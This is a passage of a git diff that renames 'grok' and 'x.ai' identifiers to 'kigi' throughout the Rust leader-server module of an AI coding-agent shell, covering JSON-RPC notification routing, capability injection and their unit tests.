+    /// `kigi update`). The leader stops admitting new turns, waits a bounded
     /// grace period for in-flight turns to finish, flushes session state, then
     /// exits with [`ShutdownReason::AutoUpdate`] so connected clients reconnect
     /// onto the new binary and restore their sessions via `session/load`.
     ///
-    /// `to_version` is the version `grok update` just installed; the leader uses
+    /// `to_version` is the version `kigi update` just installed; the leader uses
     /// it to decline if it is already running that version or newer.
     RelaunchForUpdate {
         to_version: String,
diff --git a/crates/codegen/kigi-shell/src/leader/server.rs b/crates/codegen/kigi-shell/src/leader/server.rs
index ab0b520..16f020c 100644
--- a/crates/codegen/kigi-shell/src/leader/server.rs
+++ b/crates/codegen/kigi-shell/src/leader/server.rs
@@ -98,7 +98,7 @@ struct ClientState {
     tx: AsyncSender<ClientOutbound>,
     mode: ClientMode,
     capabilities: ClientCapabilities,
-    /// The client type string from IPC registration (e.g., "grok-tui", "grok-code-extension").
+    /// The client type string from IPC registration (e.g., "kigi-tui", "kigi-code-extension").
     /// Injected into `initialize` requests as `clientIdentifier` so the agent knows the real
     /// client type even when multiple clients share one leader process.
     client_type: String,
@@ -217,7 +217,7 @@ fn is_session_load_request(json: &serde_json::Value) -> bool {
         .is_some_and(|m| m == "session/load")
 }
 /// Extract the leader unicast target `ClientId` from a notification's
-/// `params._meta["x.ai/leaderClientId"]`.
+/// `params._meta["kigi/leaderClientId"]`.
 ///
 /// The agent stamps this onto every `session/load` replay notification (echoing
 /// the id the leader injected into the load request) so the replay can be routed
@@ -227,12 +227,12 @@ fn extract_target_client_id(json: &serde_json::Value) -> Option<ClientId> {
     let params = json.get("params")?;
     params
         .get("_meta")
-        .and_then(|m| m.get("x.ai/leaderClientId"))
+        .and_then(|m| m.get("kigi/leaderClientId"))
         .or_else(|| {
             params
                 .get("params")
                 .and_then(|inner| inner.get("_meta"))
-                .and_then(|m| m.get("x.ai/leaderClientId"))
+                .and_then(|m| m.get("kigi/leaderClientId"))
         })
         .and_then(|v| v.as_u64())
         .map(ClientId)
@@ -261,13 +261,13 @@ fn event_seq_of(json: &serde_json::Value) -> Option<u64> {
 /// must be **broadcast to every client** instead of falling through to the
 /// last-active-client fallback:
 ///
-/// - `x.ai/sessions/changed` — roster delta; every open dashboard must stay
+/// - `kigi/sessions/changed` — roster delta; every open dashboard must stay
 ///   in sync.
-/// - `x.ai/models/update` — the model catalog changed (config.toml
+/// - `kigi/models/update` — the model catalog changed (config.toml
 ///   `[model.*]`/`[models]` hot-reload, `models_cache.json` external write,
 ///   auth change, response-header etag refresh). Every connected client's
 ///   model picker must refresh, not just the most recently active one.
-/// - `x.ai/mcp/servers_updated` — the MCP catalog resolved/changed (managed
+/// - `kigi/mcp/servers_updated` — the MCP catalog resolved/changed (managed
 ///   connectors fetched in the background after `initialize`). Deliberately
 ///   session-agnostic on the wire (no `sessionId`, see
 ///   `extensions::mcp::notify_servers_updated`); the push fires seconds after
@@ -277,18 +277,18 @@ fn event_seq_of(json: &serde_json::Value) -> Option<u64> {
 ///   Broadcast is safe: the pager handler only debounce-refetches `mcp/list`
 ///   for agents with an open extensions modal.
 ///
-/// (`x.ai/settings/update` stays non-broadcast — it carries auth/gate state.)
+/// (`kigi/settings/update` stays non-broadcast — it carries auth/gate state.)
 ///
 /// Matched via [`method_of`], NOT the raw top-level `method`: agent ext
-/// notifications arrive `_`-prefixed on the wire (`_x.ai/sessions/changed`),
+/// notifications arrive `_`-prefixed on the wire (`_kigi/sessions/changed`),
 /// so a raw compare would miss the production form.
 fn is_machine_wide_broadcast_notification(json: &serde_json::Value) -> bool {
     matches!(
         method_of(json),
-        Some("x.ai/sessions/changed" | "x.ai/models/update" | "x.ai/mcp/servers_updated")
+        Some("kigi/sessions/changed" | "kigi/models/update" | "kigi/mcp/servers_updated")
     )
 }
-/// Whether a payload is the `x.ai/scheduled_task_inject_prompt` notification.
+/// Whether a payload is the `kigi/scheduled_task_inject_prompt` notification.
 ///
 /// This notification tells the receiving client to enqueue AND drive a
 /// scheduled (`/loop`) cron prompt. Unlike ordinary `sessionId`-bearing
@@ -300,8 +300,8 @@ fn is_machine_wide_broadcast_notification(json: &serde_json::Value) -> bool {
 /// `session/update` deltas, exactly like any other turn the driver runs.
 /// The namespaced method a leader payload carries, normalizing the two ext wire
 /// forms the gateway produces:
-///   - direct:  `{"method":"x.ai/foo", ...}`                                 -> `x.ai/foo`
-///   - wrapped: `{"method":"_x.ai/foo","params":{"method":"x.ai/foo",...}}`  -> `x.ai/foo`
+///   - direct:  `{"method":"kigi/foo", ...}`                                 -> `kigi/foo`
+///   - wrapped: `{"method":"_kigi/foo","params":{"method":"kigi/foo",...}}`  -> `kigi/foo`
 ///
 /// Gateway-forwarded ext methods/notifications (`ext_method` / `ext_notification`
 /// — e.g. `ask_user_question`, `exit_plan_mode`, `scheduled_task_inject_prompt`,
@@ -336,7 +336,7 @@ fn interaction_inner_params(json: &serde_json::Value) -> Option<&serde_json::Val
         Some(params)
     }
 }
-/// Whether a payload is the `x.ai/scheduled_task_inject_prompt` notification.
+/// Whether a payload is the `kigi/scheduled_task_inject_prompt` notification.
 ///
 /// This notification tells the receiving client to enqueue AND drive a
 /// scheduled (`/loop`) cron prompt. Unlike ordinary `sessionId`-bearing
@@ -347,7 +347,7 @@ fn interaction_inner_params(json: &serde_json::Value) -> Option<&serde_json::Val
 /// turns). The other clients render the resulting turn from the broadcast
 /// `session/update` deltas, exactly like any other turn the driver runs.
 fn is_scheduled_task_inject_prompt(json: &serde_json::Value) -> bool {
-    method_of(json) == Some("x.ai/scheduled_task_inject_prompt")
+    method_of(json) == Some("kigi/scheduled_task_inject_prompt")
 }
 /// Whether a payload is a blocking *interaction* reverse-request — a tool
 /// permission, `ask_user_question`, or plan-approval. Unlike other
@@ -357,7 +357,7 @@ fn is_scheduled_task_inject_prompt(json: &serde_json::Value) -> bool {
 fn is_interaction_request(json: &serde_json::Value) -> bool {
     matches!(
         method_of(json),
-        Some("session/request_permission" | "x.ai/ask_user_question" | "x.ai/exit_plan_mode")
+        Some("session/request_permission" | "kigi/ask_user_question" | "kigi/exit_plan_mode")
     )
 }
 /// Extract the `tool_call_id` an interaction reverse-request carries, so the
@@ -383,12 +383,12 @@ fn extract_interaction_tool_call_id(json: &serde_json::Value) -> Option<String>
         .map(String::from)
 }
 /// If a payload is the `InteractionResolved` broadcast (an
-/// `x.ai/session_notification` whose `update.sessionUpdate ==
+/// `kigi/session_notification` whose `update.sessionUpdate ==
 /// "interaction_resolved"`), return its `tool_call_id` so the leader can evict
 /// the cached interaction request (first-answer-wins). Tolerant of the gateway
 /// wrapper and camel/snake spelling for the inner field.
 fn extract_interaction_resolved_tool_call_id(json: &serde_json::Value) -> Option<String> {
-    if method_of(json) != Some("x.ai/session_notification") {
+    if method_of(json) != Some("kigi/session_notification") {
         return None;
     }
     let update = interaction_inner_params(json)?.get("update")?;
@@ -404,7 +404,7 @@ fn extract_interaction_resolved_tool_call_id(json: &serde_json::Value) -> Option
 /// Extract session_id from a prompt-complete notification.
 fn extract_session_id_from_prompt_complete(json: &serde_json::Value) -> Option<String> {
     let method = json.get("method")?.as_str()?;
-    if method != "x.ai/session/prompt_complete" {
+    if method != "kigi/session/prompt_complete" {
         return None;
     }
     json.get("params")?
@@ -583,9 +583,9 @@ fn inject_capabilities_into_session_new(
                     serde_json::json!(client_type),
                 );
             }
-            if !meta_obj.contains_key("x.ai/leaderClientId") {
+            if !meta_obj.contains_key("kigi/leaderClientId") {
                 meta_obj.insert(
-                    "x.ai/leaderClientId".to_string(),
+                    "kigi/leaderClientId".to_string(),
                     serde_json::json!(client_id.0),
                 );
             }
@@ -661,25 +661,25 @@ fn inject_client_identity_into_initialize(
     }
     (mutated, true)
 }
-/// Extract yolo_mode change from x.ai/yolo_mode_changed notification.
+/// Extract yolo_mode change from kigi/yolo_mode_changed notification.
 ///
 /// Returns Some(yolo_mode) if this is a yolo mode change notification.
 fn extract_yolo_mode_change(json: &serde_json::Value) -> Option<bool> {
     let method = json.get("method")?.as_str()?;
-    if method != "x.ai/yolo_mode_changed" {
+    if method != "kigi/yolo_mode_changed" {
         return None;
     }
     let params = json.get("params")?;
     params.get("yolo_mode").and_then(|v| v.as_bool())
 }
-/// Extract the auto-mode intent from an `x.ai/yolo_mode_changed` notification, so
+/// Extract the auto-mode intent from an `kigi/yolo_mode_changed` notification, so
 /// the leader can keep `ClientCapabilities.auto_mode` fresh the same way it tracks
 /// `yolo_mode`. Without this, a stale connect-time `auto_mode` capability would be
 /// injected into later `session/new` requests, re-enabling Auto after the user opted
 /// out. Returns `None` when the notification doesn't change auto state.
 fn extract_auto_mode_change(json: &serde_json::Value) -> Option<bool> {
     let method = json.get("method")?.as_str()?;
-    if method != "x.ai/yolo_mode_changed" {
+    if method != "kigi/yolo_mode_changed" {
         return None;
     }
     let params = json.get("params")?;
@@ -710,7 +710,7 @@ fn inject_client_identity_into_yolo_notification(
     let is_yolo = json
         .get("method")
         .and_then(|m| m.as_str())
-        .is_some_and(|m| m == "x.ai/yolo_mode_changed");
+        .is_some_and(|m| m == "kigi/yolo_mode_changed");
     if !is_yolo {
         return false;
     }
@@ -1089,11 +1089,11 @@ fn make_version_mismatch_notification(
     }
     Some(
         serde_json::json!(
-            { "jsonrpc" : "2.0", "method" : "x.ai/leader/version_mismatch", "params" : {
+            { "jsonrpc" : "2.0", "method" : "kigi/leader/version_mismatch", "params" : {
             "clientVersion" : client_version, "leaderVersion" : leader_version, "message"
             :
             format!("Client version {client_version} differs from leader version \
-                     {leader_version}. Restart the grok binary to use the same version.")
+                     {leader_version}. Restart the kigi binary to use the same version.")
             } }
         )
         .to_string(),
@@ -1233,7 +1233,7 @@ pub async fn run_leader_server(
             = None; }
             if ! detached_sessions.is_empty() { let evict_notification =
             serde_json::json!({ "jsonrpc" : "2.0", "method" :
-            "x.ai/internal/evict_sessions", "params" : { "sessionIds" : detached_sessions
+            "kigi/internal/evict_sessions", "params" : { "sessionIds" : detached_sessions
             } }); let _ = acp_tx.send(evict_notification.to_string()); info!(client_id =
             id.0, session_count = detached_sessions.len(),
             "Sent client-disconnect detach notification for disconnected client"); }
@@ -2284,7 +2284,7 @@ mod tests {
         write_message(
             &mut writer,
             &ClientMessage::Register {
-                client_type: "grok-tui".into(),
+                client_type: "kigi-tui".into(),
                 mode: ClientMode::Stdio,
                 capabilities: ClientCapabilities::default(),
             },
@@ -2305,7 +2305,7 @@ mod tests {
         let received = acp_rx.recv().await.unwrap();
         let json: serde_json::Value = serde_json::from_str(&received).unwrap();
         assert_eq!(
-            json["params"]["_meta"]["clientIdentifier"], "grok-tui",
+            json["params"]["_meta"]["clientIdentifier"], "kigi-tui",
             "Leader should inject clientIdentifier from IPC registration"
         );
         assert_eq!(json["method"], "initialize");
@@ -2320,7 +2320,7 @@ mod tests {
         write_message(
             &mut writer,
             &ClientMessage::Register {
-                client_type: "grok-tui".into(),
+                client_type: "kigi-tui".into(),
                 mode: ClientMode::Stdio,
                 capabilities: ClientCapabilities::default(),
             },
@@ -2328,7 +2328,7 @@ mod tests {
         .await
         .unwrap();
         let _: ServerMessage = read_message(&mut reader).await.unwrap();
-        let payload = r#"{"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"0.1","_meta":{"clientIdentifier":"grok-web"}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"initialize","id":1,"params":{"protocolVersion":"0.1","_meta":{"clientIdentifier":"kigi-web"}}}"#;
         write_message(
             &mut writer,
             &ClientMessage::Acp {
@@ -2340,7 +2340,7 @@ mod tests {
         let received = acp_rx.recv().await.unwrap();
         let json: serde_json::Value = serde_json::from_str(&received).unwrap();
         assert_eq!(
-            json["params"]["_meta"]["clientIdentifier"], "grok-web",
+            json["params"]["_meta"]["clientIdentifier"], "kigi-web",
             "Leader should not override existing clientIdentifier"
         );
         cancel.cancel();
@@ -2373,13 +2373,13 @@ mod tests {
     #[test]
     fn is_scheduled_task_inject_prompt_detects_only_inject() {
         assert!(is_scheduled_task_inject_prompt(&pv(
-            r#"{"method":"x.ai/scheduled_task_inject_prompt","params":{"sessionId":"s1","taskId":"t1","prompt":"echo hi"}}"#
+            r#"{"method":"kigi/scheduled_task_inject_prompt","params":{"sessionId":"s1","taskId":"t1","prompt":"echo hi"}}"#
         )));
         assert!(is_scheduled_task_inject_prompt(&pv(
-            r#"{"method":"_x.ai/scheduled_task_inject_prompt","params":{"method":"x.ai/scheduled_task_inject_prompt","params":{"sessionId":"s1","taskId":"t1","prompt":"echo hi"}}}"#
+            r#"{"method":"_kigi/scheduled_task_inject_prompt","params":{"method":"kigi/scheduled_task_inject_prompt","params":{"sessionId":"s1","taskId":"t1","prompt":"echo hi"}}}"#
         )));
         assert!(!is_scheduled_task_inject_prompt(&pv(
-            r#"{"method":"x.ai/scheduled_task_fired","params":{"sessionId":"s1"}}"#
+            r#"{"method":"kigi/scheduled_task_fired","params":{"sessionId":"s1"}}"#
         )));
         assert!(!is_scheduled_task_inject_prompt(&pv(
             r#"{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"s1"}}"#
@@ -2389,8 +2389,8 @@ mod tests {
     fn is_interaction_request_detects_only_interaction_methods() {
         for m in [
             "session/request_permission",
-            "x.ai/ask_user_question",
-            "x.ai/exit_plan_mode",
+            "kigi/ask_user_question",
+            "kigi/exit_plan_mode",
         ] {
             let payload = format!(r#"{{"jsonrpc":"2.0","id":1,"method":"{m}","params":{{}}}}"#);
             assert!(
@@ -2398,7 +2398,7 @@ mod tests {
                 "{m} (direct) must be an interaction"
             );
         }
-        for m in ["x.ai/ask_user_question", "x.ai/exit_plan_mode"] {
+        for m in ["kigi/ask_user_question", "kigi/exit_plan_mode"] {
             let payload = format!(
                 r#"{{"jsonrpc":"2.0","id":1,"method":"_{m}","params":{{"method":"{m}","params":{{}}}}}}"#
             );
@@ -2411,14 +2411,14 @@ mod tests {
             r#"{"jsonrpc":"2.0","id":1,"method":"fs/read_text_file","params":{}}"#
         )));
         assert!(!is_interaction_request(&pv(
-            r#"{"jsonrpc":"2.0","method":"x.ai/sessions/changed","params":{}}"#
+            r#"{"jsonrpc":"2.0","method":"kigi/sessions/changed","params":{}}"#
         )));
     }
     #[test]
     fn extract_interaction_tool_call_id_handles_direct_and_nested() {
         assert_eq!(
             extract_interaction_tool_call_id(&
-            pv(r#"{"id":1,"method":"x.ai/ask_user_question","params":{"sessionId":"s","toolCallId":"tc-q"}}"#))
+            pv(r#"{"id":1,"method":"kigi/ask_user_question","params":{"sessionId":"s","toolCallId":"tc-q"}}"#))
             .as_deref(), Some("tc-q")
         );
         assert_eq!(
@@ -2428,7 +2428,7 @@ mod tests {
         );
         assert_eq!(
             extract_interaction_tool_call_id(&
-            pv(r#"{"id":1,"method":"_x.ai/ask_user_question","params":{"method":"x.ai/ask_user_question","params":{"sessionId":"s","toolCallId":"tc-w"}}}"#))
+            pv(r#"{"id":1,"method":"_kigi/ask_user_question","params":{"method":"kigi/ask_user_question","params":{"sessionId":"s","toolCallId":"tc-w"}}}"#))
             .as_deref(), Some("tc-w")
         );
         assert_eq!(
@@ -2440,17 +2440,17 @@ mod tests {
     fn extract_interaction_resolved_tool_call_id_matches_only_resolved() {
         assert_eq!(
             extract_interaction_resolved_tool_call_id(&
-            pv(r#"{"method":"x.ai/session_notification","params":{"sessionId":"s","update":{"sessionUpdate":"interaction_resolved","tool_call_id":"tc-r"}}}"#))
+            pv(r#"{"method":"kigi/session_notification","params":{"sessionId":"s","update":{"sessionUpdate":"interaction_resolved","tool_call_id":"tc-r"}}}"#))
             .as_deref(), Some("tc-r")
         );
         assert_eq!(
             extract_interaction_resolved_tool_call_id(&
-            pv(r#"{"method":"_x.ai/session_notification","params":{"method":"x.ai/session_notification","params":{"sessionId":"s","update":{"sessionUpdate":"interaction_resolved","tool_call_id":"tc-rw"}}}}"#))
+            pv(r#"{"method":"_kigi/session_notification","params":{"method":"kigi/session_notification","params":{"sessionId":"s","update":{"sessionUpdate":"interaction_resolved","tool_call_id":"tc-rw"}}}}"#))
             .as_deref(), Some("tc-rw")
         );
         assert_eq!(
             extract_interaction_resolved_tool_call_id(&pv(
-                r#"{"method":"x.ai/session_notification","params":{"sessionId":"s","update":{"sessionUpdate":"pending_interaction","tool_call_id":"tc-r","kind":"permission"}}}"#
+                r#"{"method":"kigi/session_notification","params":{"sessionId":"s","update":{"sessionUpdate":"pending_interaction","tool_call_id":"tc-r","kind":"permission"}}}"#
             )),
             None
         );
@@ -2527,7 +2527,7 @@ mod tests {
         let acp = pv(r#"{"params":{"sessionId":"019e-aa","_meta":{"eventId":"019e-aa-42"}}}"#);
         assert_eq!(event_seq_of(&acp), Some(42));
         let ext = pv(
-            r#"{"params":{"method":"x.ai/session/update","params":{"sessionId":"019e-aa","_meta":{"eventId":"019e-aa-7"}}}}"#,
+            r#"{"params":{"method":"kigi/session/update","params":{"sessionId":"019e-aa","_meta":{"eventId":"019e-aa-7"}}}}"#,
         );
         assert_eq!(event_seq_of(&ext), Some(7));
         let none = pv(r#"{"params":{"sessionId":"019e-aa","_meta":{}}}"#);
@@ -2718,7 +2718,7 @@ mod tests {
         assert!(inject_capabilities_into_session_new(
             &mut json,
             &caps,
-            "grok-tui",
+            "kigi-tui",
             ClientId(1)
         ));
         assert_eq!(json["params"]["_meta"]["autoMode"], true);
@@ -2814,7 +2814,7 @@ mod tests {
         );
         let caps = ClientCapabilities {
             yolo_mode: false,
-            default_model: Some("grok-3-fast".to_string()),
+            default_model: Some("kigi-3-fast".to_string()),
             ..Default::default()
         };
         let mut json = pv(&payload);
@@ -2824,7 +2824,7 @@ mod tests {
             "",
             ClientId(1)
         ));
-        assert_eq!(json["params"]["_meta"]["modelId"], "grok-3-fast");
+        assert_eq!(json["params"]["_meta"]["modelId"], "kigi-3-fast");
         assert!(json["params"]["_meta"].get("yoloMode").is_none());
     }
     #[test]
@@ -2835,7 +2835,7 @@ mod tests {
         );
         let caps = ClientCapabilities {
             yolo_mode: true,
-            default_model: Some("grok-3-fast".to_string()),
+            default_model: Some("kigi-3-fast".to_string()),
             ..Default::default()
         };
         let mut json = pv(&payload);
@@ -2846,7 +2846,7 @@ mod tests {
             ClientId(1)
         ));
         assert_eq!(json["params"]["_meta"]["yoloMode"], true);
-        assert_eq!(json["params"]["_meta"]["modelId"], "grok-3-fast");
+        assert_eq!(json["params"]["_meta"]["modelId"], "kigi-3-fast");
     }
     #[test]
     fn inject_capabilities_does_not_override_existing_model_id() {
@@ -2856,7 +2856,7 @@ mod tests {
         );
         let caps = ClientCapabilities {
             yolo_mode: false,
-            default_model: Some("grok-3-fast".to_string()),
+            default_model: Some("kigi-3-fast".to_string()),
             ..Default::default()
         };
         let mut json = pv(&payload);
@@ -2866,10 +2866,10 @@ mod tests {
     #[test]
     fn extract_yolo_mode_change_returns_value() {
         let payload =
-            r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"yolo_mode":true}}"#;
+            r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"yolo_mode":true}}"#;
         assert_eq!(extract_yolo_mode_change(&pv(payload)), Some(true));
         let payload =
-            r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"yolo_mode":false}}"#;
+            r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"yolo_mode":false}}"#;
         assert_eq!(extract_yolo_mode_change(&pv(payload)), Some(false));
     }
     #[test]
@@ -2881,22 +2881,22 @@ mod tests {
     #[test]
     fn extract_auto_mode_change_explicit_flag_wins() {
         let payload =
-            r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"auto_mode":true}}"#;
+            r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"auto_mode":true}}"#;
         assert_eq!(extract_auto_mode_change(&pv(payload)), Some(true));
         let payload =
-            r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"auto_mode":false}}"#;
+            r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"auto_mode":false}}"#;
         assert_eq!(extract_auto_mode_change(&pv(payload)), Some(false));
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"auto_mode":false,"permission_mode":"auto"}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"auto_mode":false,"permission_mode":"auto"}}"#;
         assert_eq!(extract_auto_mode_change(&pv(payload)), Some(false));
     }
     /// Branch 2: with no explicit flag, derive from `permission_mode`.
     #[test]
     fn extract_auto_mode_change_derives_from_permission_mode() {
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"permission_mode":"auto"}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"permission_mode":"auto"}}"#;
         assert_eq!(extract_auto_mode_change(&pv(payload)), Some(true));
         for mode in ["ask", "always-approve", "default"] {
             let payload = format!(
-                r#"{{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{{"permission_mode":"{mode}"}}}}"#
+                r#"{{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{{"permission_mode":"{mode}"}}}}"#
             );
             assert_eq!(
                 extract_auto_mode_change(&pv(&payload)),
@@ -2912,35 +2912,35 @@ mod tests {
         let payload = r#"{"jsonrpc":"2.0","method":"other/method","params":{"auto_mode":true}}"#;
         assert_eq!(extract_auto_mode_change(&pv(payload)), None);
         let payload =
-            r#"{"jsonrpc":"2.0","method":"x.ai/yolo_mode_changed","params":{"yolo_mode":true}}"#;
+            r#"{"jsonrpc":"2.0","method":"kigi/yolo_mode_changed","params":{"yolo_mode":true}}"#;
         assert_eq!(extract_auto_mode_change(&pv(payload)), None);
     }
     #[test]
     fn extract_model_id_from_set_model_returns_value() {
         let payload = format!(
-            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"sessionId":"sess-123","modelId":"grok-3-fast"}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"sessionId":"sess-123","modelId":"kigi-3-fast"}}}}"#,
             AGENT_METHOD_NAMES.session_set_model
         );
         assert_eq!(
             extract_model_id_from_set_model(&pv(&payload)),
-            Some("grok-3-fast".to_string())
+            Some("kigi-3-fast".to_string())
         );
     }
     #[test]
     fn extract_model_id_from_set_model_handles_snake_case() {
         let payload = format!(
-            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"session_id":"sess-123","model_id":"grok-3"}}}}"#,
+            r#"{{"jsonrpc":"2.0","method":"{}","id":1,"params":{{"session_id":"sess-123","model_id":"kigi-3"}}}}"#,
             AGENT_METHOD_NAMES.session_set_model
         );
         assert_eq!(
             extract_model_id_from_set_model(&pv(&payload)),
-            Some("grok-3".to_string())
+            Some("kigi-3".to_string())
         );
     }
     #[test]
     fn extract_model_id_from_set_model_returns_none_for_other_methods() {
         let payload =
-            r#"{"jsonrpc":"2.0","method":"other/method","id":1,"params":{"modelId":"grok-3"}}"#;
+            r#"{"jsonrpc":"2.0","method":"other/method","id":1,"params":{"modelId":"kigi-3"}}"#;
         assert_eq!(extract_model_id_from_set_model(&pv(payload)), None);
     }
     #[test]
@@ -2962,26 +2962,26 @@ mod tests {
     #[test]
     fn patch_initialize_response_patches_current_model_id() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"grok-3","availableModels":[]}}}}"#,
+            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"kigi-3","availableModels":[]}}}}"#,
         );
-        let default_model = Some("grok-3-fast".to_string());
+        let default_model = Some("kigi-3-fast".to_string());
         assert!(patch_initialize_response_model(&mut json, &default_model));
         assert_eq!(
             json["result"]["meta"]["modelState"]["currentModelId"],
-            "grok-3-fast"
+            "kigi-3-fast"
         );
     }
     #[test]
     fn patch_initialize_response_preserves_other_fields() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"grokShell":true,"modelState":{"currentModelId":"grok-3","availableModels":[{"modelId":"grok-3"},{"modelId":"grok-3-fast"}]}}}}"#,
+            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"kigiShell":true,"modelState":{"currentModelId":"kigi-3","availableModels":[{"modelId":"kigi-3"},{"modelId":"kigi-3-fast"}]}}}}"#,
         );
-        let default_model = Some("grok-3-fast".to_string());
+        let default_model = Some("kigi-3-fast".to_string());
         assert!(patch_initialize_response_model(&mut json, &default_model));
-        assert_eq!(json["result"]["meta"]["grokShell"], true);
+        assert_eq!(json["result"]["meta"]["kigiShell"], true);
         assert_eq!(
             json["result"]["meta"]["modelState"]["currentModelId"],
-            "grok-3-fast"
+            "kigi-3-fast"
         );
         assert_eq!(
             json["result"]["meta"]["modelState"]["availableModels"]
@@ -2994,7 +2994,7 @@ mod tests {
     #[test]
     fn patch_initialize_response_noop_when_no_default_model() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"grok-3"}}}}"#,
+            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"kigi-3"}}}}"#,
         );
         let before = json.clone();
         assert!(!patch_initialize_response_model(&mut json, &None));
@@ -3003,7 +3003,7 @@ mod tests {
     #[test]
     fn patch_initialize_response_noop_when_empty_default_model() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"grok-3"}}}}"#,
+            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"kigi-3"}}}}"#,
         );
         let before = json.clone();
         assert!(!patch_initialize_response_model(
@@ -3015,24 +3015,24 @@ mod tests {
     #[test]
     fn patch_initialize_response_noop_when_already_matches() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"grok-3"}}}}"#,
+            r#"{"jsonrpc":"2.0","id":1,"result":{"meta":{"modelState":{"currentModelId":"kigi-3"}}}}"#,
         );
         let before = json.clone();
         assert!(!patch_initialize_response_model(
             &mut json,
-            &Some("grok-3".to_string())
+            &Some("kigi-3".to_string())
         ));
         assert_eq!(json, before);
     }
     #[test]
     fn patch_initialize_response_noop_for_non_initialize_response() {
         let mut json = pv(
-            r#"{"jsonrpc":"2.0","id":1,"result":{"session_id":"sess-1","models":{"currentModelId":"grok-3","availableModels":[]}}}"#,
+            r#"{"jsonrpc":"2.0","id":1,"result":{"session_id":"sess-1","models":{"currentModelId":"kigi-3","availableModels":[]}}}"#,
         );
         let before = json.clone();
         assert!(!patch_initialize_response_model(
             &mut json,
-            &Some("grok-3-fast".to_string())
+            &Some("kigi-3-fast".to_string())
         ));
         assert_eq!(json, before);
     }
@@ -3073,12 +3073,12 @@ mod tests {
     }
     #[test]
     fn extract_session_id_from_nested_params_works() {
-        let payload = r#"{"jsonrpc":"2.0","method":"_x.ai/session_notification","params":{"method":"x.ai/session_notification","params":{"sessionId":"sess-nested"}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"_kigi/session_notification","params":{"method":"kigi/session_notification","params":{"sessionId":"sess-nested"}}}"#;
         assert_eq!(
             extract_session_id(&pv(payload)),
             Some("sess-nested".to_string())
         );
-        let payload = r#"{"jsonrpc":"2.0","method":"_x.ai/fs_notify","params":{"method":"x.ai/fs_notify","params":{"session_id":"sess-nested-2","event":{}}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"_kigi/fs_notify","params":{"method":"kigi/fs_notify","params":{"session_id":"sess-nested-2","event":{}}}}"#;
         assert_eq!(
             extract_session_id(&pv(payload)),
             Some("sess-nested-2".to_string())
@@ -3091,7 +3091,7 @@ mod tests {
     }
     #[test]
     fn extract_session_id_from_prompt_complete_works() {
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/session/prompt_complete","params":{"sessionId":"sess-prompt"}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/session/prompt_complete","params":{"sessionId":"sess-prompt"}}"#;
         assert_eq!(
             extract_session_id_from_prompt_complete(&pv(payload)),
             Some("sess-prompt".to_string())
@@ -3099,12 +3099,12 @@ mod tests {
     }
     #[test]
     fn extract_session_id_from_prompt_complete_ignores_other_methods() {
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"sess-prompt"}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"sess-prompt"}}"#;
         assert_eq!(extract_session_id_from_prompt_complete(&pv(payload)), None);
     }
     #[test]
     fn extract_child_session_event_spawned() {
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-1"}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_spawned","child_session_id":"child-1"}}}"#;
         match extract_child_session_event(&pv(payload)) {
             Some(ChildSessionEvent::Spawned(id)) => assert_eq!(id, "child-1"),
             other => panic!("Expected Spawned, got {:?}", other),
@@ -3112,7 +3112,7 @@ mod tests {
     }
     #[test]
     fn extract_child_session_event_finished() {
-        let payload = r#"{"jsonrpc":"2.0","method":"x.ai/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-2"}}}"#;
+        let payload = r#"{"jsonrpc":"2.0","method":"kigi/session_notification","params":{"sessionId":"parent","update":{"sessionUpdate":"subagent_finished","child_session_id":"child-2"}}}"#;
         match extract_child_session_event(&pv(payload)) {
             Some(ChildSessionEvent::Finished(id)) => assert_eq!(id, "child-2"),
